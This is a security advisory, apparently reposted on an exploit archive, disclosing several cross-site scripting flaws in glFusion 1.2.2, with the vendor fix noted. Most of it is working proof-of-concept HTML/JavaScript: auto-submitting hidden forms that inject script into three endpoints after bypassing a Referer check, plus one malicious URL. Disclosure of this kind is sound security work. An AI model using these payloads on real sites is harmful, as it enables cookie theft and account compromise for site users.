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glFusion 1.2.2 Cross Site Scripting

glFusion 1.2.2 Cross Site Scripting
Posted Feb 21, 2013
Authored by High-Tech Bridge SA | Site htbridge.com

glFusion version 1.2.2 suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2013-1466
MD5 | feb928a7f8d16e48352cb632d4452bb0

glFusion 1.2.2 Cross Site Scripting

Change Mirror Download
Advisory ID: HTB23142
Product: glFusion
Vendor: http://www.glfusion.org/
Vulnerable Version(s): 1.2.2 and probably prior
Tested Version: 1.2.2
Vendor Notification: January 30, 2013
Vendor Patch: January 30, 2013
Public Disclosure: February 20, 2013
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-1466
Risk Level: Medium
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities in glFusion, which can be exploited to perform Cross-Site Scripting attacks.

glFusion has a "bad_behaviour" plugin (installed by default) that verifies HTTP Referer, aimed to protect against spambots. The plugin also makes reflected XSS attacks against the application a little bit more complex. To bypass the security restriction PoC (Proof-of-Concept) codes for vulnerabilities 1.1 – 1.3 modify the HTTP Referer header. These PoCs were successfully tested in the latest available version of Mozilla Firefox (18.0.1) .


1) Multiple Cross-Site Scripting (XSS) in glFusion: CVE-2013-1466

1.1 The vulnerability exists due to insufficient filtration of user-supplied data in "subject" HTTP POST parameter passed to "/profiles.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's cookies:


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
var x = 0
function go2() { location.replace("") }
function go() {
if(x) return
x += 1
try {
var html = '<form target="_parent" action="http://[host]/profiles.php" method="post">'
html += '<input type="hidden" name="uid" value="2">'
html += '<input type="hidden" name="author" value="author">'
html += '<input type="hidden" name="message" value="1">'
html += '<input type="hidden" name="message_html" value="1">'
html += '<input type="hidden" name="authoremail" value="mail@mail.com">'
html += '<input type="hidden" name="postmode" value="html">'
html += '<input type="hidden" name="what" value="contact">'
html += '<input type="hidden" name="subject" value=\'" onmouseover="javascript:alert(document.cookie);"\'></form>'
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden">
</iframe>
<script>
window.setTimeout('go2()', 3333)
</script>
</body>
</html>



1.2 The vulnerabilities exist due to insufficient filtration of user-supplied data in "address1", "address2", "calendar_type", "city", "state", "title", "url", "zipcode" HTTP POST parameters passed to "/calendar/index.php" script. A remote attacker can trick a logged-in user into opening a specially crafted link and execute arbitrary HTML and script code in user’s browser in context of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's cookies:


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
var x = 0
function go2() { location.replace("") }
function go() {
if(x) return
x += 1
try {
var html = '<form target="_parent" action="http://[host]/calendar/index.php" method="post">'
html += '<input type="hidden" name="mode" value="Submit">'
html += '<input type="hidden" name="savecal" value="Submit">'
html += '<input type="hidden" name="address1" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="calendar_type" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="city" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="state" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="title" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="url" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="zipcode" value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
html += '<input type="hidden" name="address2" value=\'" onmouseover="javascript:alert(document.cookie);"\'></form>'
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden">
</iframe>
<script>
window.setTimeout('go2()', 3333)
</script>
</body>
</html>



1.3 The vulnerabilities exists due to insufficient filtration of user-supplied data in "title" and "url" HTTP POST parameters passed to "/links/index.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's cookies:


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
var x = 0
function go2() { location.replace("") }
function go() {
if(x) return
x += 1
try {
var html = '<form target="_parent" action="http://[host]/links/index.php" method="post">'
html += '<input type="hidden" name="mode" value="Submit">'
html += '<input type="hidden" name="title" value=\'" onmouseover="javascript:alert(1);"\'>'
html += '<input type="hidden" name="url" value=\'" onmouseover="javascript:alert(2);"\'></form>'
window.frames[0].document.body.innerHTML = html
window.frames[0].document.forms[0].submit()
} catch(e) {
go2()
}
}
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" style="visibility:hidden">
</iframe>
<script>
window.setTimeout('go2()', 3333)
</script>
</body>
</html>



1.4 The vulnerability exists due to insufficient filtration of user-supplied data in URI after "/admin/plugins/mediagallery/xppubwiz.php" script. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's cookies:

http://[host]/admin/plugins/mediagallery/xppubwiz.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E/

-----------------------------------------------------------------------------------------------

Solution:

Upgrade to glFusion v1.2.2.pl4

More Information:
http://www.glfusion.org/article.php/glf122_update_20130130_01
http://www.glfusion.org/filemgmt/viewcat.php?cid=1

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23142 - https://www.htbridge.com/advisory/HTB23142 - Multiple Cross-Site Scripting (XSS) in glFusion.
[2] glFusion - http://www.glfusion.org/ - glFusion is an open source content management system developed in PHP providing blog, forum, gallery, downloads.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
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